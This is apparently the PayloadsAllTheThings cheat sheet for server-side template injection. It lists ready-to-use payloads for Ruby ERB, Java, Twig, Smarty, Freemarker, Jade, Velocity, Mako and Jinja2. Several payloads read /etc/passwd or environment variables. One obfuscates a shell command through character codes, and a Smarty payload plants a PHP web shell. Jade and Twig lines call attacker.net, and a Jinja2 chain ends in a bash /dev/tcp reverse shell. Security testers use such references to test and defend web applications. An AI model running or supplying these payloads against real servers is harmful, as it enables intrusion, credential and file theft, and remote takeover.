PayloadsAllTheThings/Server Side Template injections

Templates Injections

Template injection allows an attacker to include template code into an existant (or not) template.

Recommended tool: Tplmap e.g:

./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'

Ruby

Basic injection

<%= 7 * 7 %>

Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Java

### Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Retrieve the system’s environment variables.

${T(java.lang.System).getenv()}

Retrieve /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Twig

Basic injection

{{7*7}}
{{7*'7'}} would result in 49

Template format

$output = $twig > render (
  'Dear' . $_GET['custom_greeting'],
  array("first_name" => $user.first_name)
);

$output = $twig > render (
  "Dear {first_name}",
  array("first_name" => $user.first_name)
);

Code execution

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Smarty

{php}echo `id`;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Freemarker

Default functionality.

<#assign
ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}

Jade / Codepen

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

Velocity

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Mako

<%
import os
x=os.popen('id').read()
%>
${x}

Jinja2

Official website

Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.

### Basic injection

{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application.

Template format

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Dump all used classes

{{ ''.__class__.__mro__[2].__subclasses__() }}

Dump all config variables

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Read remote file

# ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Write into remote file

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Remote Code Execution via reverse shell

Listen for connexion

nv -lnvp 8000

Inject this template

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  # load the evil config
{{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }} # connect to evil host

Thanks to

• https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
• Yahoo! RCE via Spring Engine SSTI
• Ruby ERB Template injection - TrustedSec
• Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)
• PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax
• VelocityServlet Expression Language injection